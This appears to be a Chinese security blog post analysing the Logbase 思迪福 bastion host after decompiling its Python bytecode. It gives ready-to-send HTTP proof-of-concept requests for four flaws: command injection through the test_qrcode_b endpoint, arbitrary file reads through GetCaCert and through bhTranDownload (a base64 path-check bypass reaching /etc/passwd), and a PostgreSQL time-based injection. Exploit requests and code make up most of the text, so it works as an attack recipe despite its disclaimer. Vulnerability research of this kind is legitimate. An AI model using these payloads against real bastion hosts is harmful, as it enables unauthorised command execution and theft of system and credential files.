Logbase思迪福堡垒机漏洞分析
Logbase思迪福堡垒机漏洞分析
WK安全 2023-12-17 09:52
赛
博大作战中的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。
利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
本文所提供的工具仅用于学习,禁止用于其他!
!
!
1
前言
最近看到网上发布了这个堡垒机的rce
https://mp.weixin.qq.com/s/tWRD9oYo5eNeyLcf_pv2ew
https://mp.weixin.qq.com/s/rmWBOQaE4aSxWI9VYBRpHg
...
抱
着水点公众号文章的想法,弄了份源码看了下,发现源码并不大,结构也不复杂,正好符合我们水文章的需求,开整!
首先,该堡垒机程序是python编译成pyc文件运行的,我们先进行反编译
// 安装
pip install uncompyle6
// 查看版本
uncompyle6 --version
// 使用,-o outfile必须先写,例如有一个pcat.pyc,想反编译输出文件为pcat.py
uncompyle6 -o pcat.py pcat.pyc
通过一顿反编译我们就得到了源码,就可以开始正式审计了
2
路由分析
我们直接来挖前台可以被利用的漏洞,路由的话,因为是python写的,其实还是比较明显的
# \dev\shm\www\manage\bhost\login.py
@app.route("/lchk", methods=['GET', 'POST']) // 对应请求url为 http://xxxx/bhost/lchk
....
# 认证机制基本上是:
# 客户端输入账号密码->服务端匹配成功的情况->返回session,客户端拿着这个session再去请求其他的需要权限校验的接口
# 由于得到的代码不全并没有sessionchek的定义,就先不管这些
使用自己平时写的静态分析工具进行一波分析,输出可能存在漏洞的接口信息输出:logbase.txt
3
test_qrcode_b命令执行漏洞
发现传参没过滤直接拼接从而造成了rce
数据包:
POST /bhost/test_qrcode_b HTTP/1.1
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip, deflate, br
Accept: gzip
Connection: close
Referer:
Content-Type: application/x-www-form-urlencoded
Host:
Content-Length: 23
z1=1&z2="|id;"&z3=bhost
4
GetCaCert接口任意文件读取
# 发现传参没过滤直接拼接造成了任意文件读取
@app.route("/GetCaCert", methods=['GET', 'POST']) # 文件读取 参数a1
def GetCaCert():
headers = str(request.headers) ;
debug(headers)
if headers.find("a1") < 0:
Name = request.args.get('a1')
else:
Name = headers.split('a1',0)[1].split()[1];
try:
if os.path.exists('/usr/etc/'+Name):
fp = open('/usr/etc/'+Name,'r');
# 返回读取的内容并base64
a = base64.b64encode(fp.read());
return a,200
else:
return '',400
except pyodbc.Error,e:
return '',400
返回base64的文件读取内容
5
bhTranDownload接口任意文件读取
1 根据阅读源码我们需要在请求头处构造poc
2 bhTranDownload接口其实是有判断逻辑,但因为判断逻辑有点毛病可以绕过,这里是有两个判断的
2.1 判断1:
def check_path(path):
for one in list_path:
if path.find(one) >=0:
return True
return False
list_path = ['/usr/storage/.system/upload','/usr/storage/.system/replay','/usr/storage/.system/software','/usr/storage/.system/update','/usr/storage/.system/config/backup','/usr/storage/.system/dwload','/usr/storage/.system/passwd','/usr/storage/.system/backup','/usr/storage/.system/transf','/usr/ssl/certs']
为
if check_path(Path) == False and Filename !='cf_tnsora':
return '-1',403;
为了绕过这个判断 我们需要把内容设置为list_path中的内容
2.2 判断2:
将/usr/storage/.system/software base64编码并且固定在此处就可以通过
if Path.find("/software") >=0 or Method =='GetSize' or Filename =='cf_tnsora':
pass
else:
sessioncheck
绕过下面图中的那个else:避免进入鉴权
3 基于上面的说法 我们选择/usr/storage/.system/software来进行base64绕过这些
则:
Filename:xxxxxxxxxxxxxxx../../../etc/passwd base64编码希望读取的漏洞路径
Path:L3Vzci9zdG9yYWdlLy5zeXN0ZW0vc29mdHdhcmU= 编码前的内容是/usr/storage/.system/software
最终实现任意文件读取
GET /bhost/bhTranDownload HTTP/1.1
Host: xxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Filename:xxxxxxxxxxxxxxx../../../etc/passwd base64编码希望读取的漏洞路径
Session:111
Path:L3Vzci9zdG9yYWdlLy5zeXN0ZW0vc29mdHdhcmU= 编码前的内容是/usr/storage/.system/software
Offset:0
Content-Length: 2
Sesstimet:111
Referer: https://xxxxxxxxx/
6
PostgreSQL 注入漏洞
发现传参没过滤直接拼接造成了注入
POST /bhost/repeat_get_usb_status HTTP/1.1
Host: xxxxxxx
Cookie: bhost=xxxxxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 20
Origin: https://xxxxxxxxxxx
Dnt: 1
Referer: https://xxxxxxxx/bhost/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
z1='||pg_sleep(2)||'
每pg_sleep(1)是2000mills延迟,这洞版本有点老,找半天才复现成功
7
总结
总的来说这堡垒机比较老还是不少洞的,但新版本均修复了上述这些,分享出来供需者学习,水一篇文章吧。安全路远,交流技术可添加: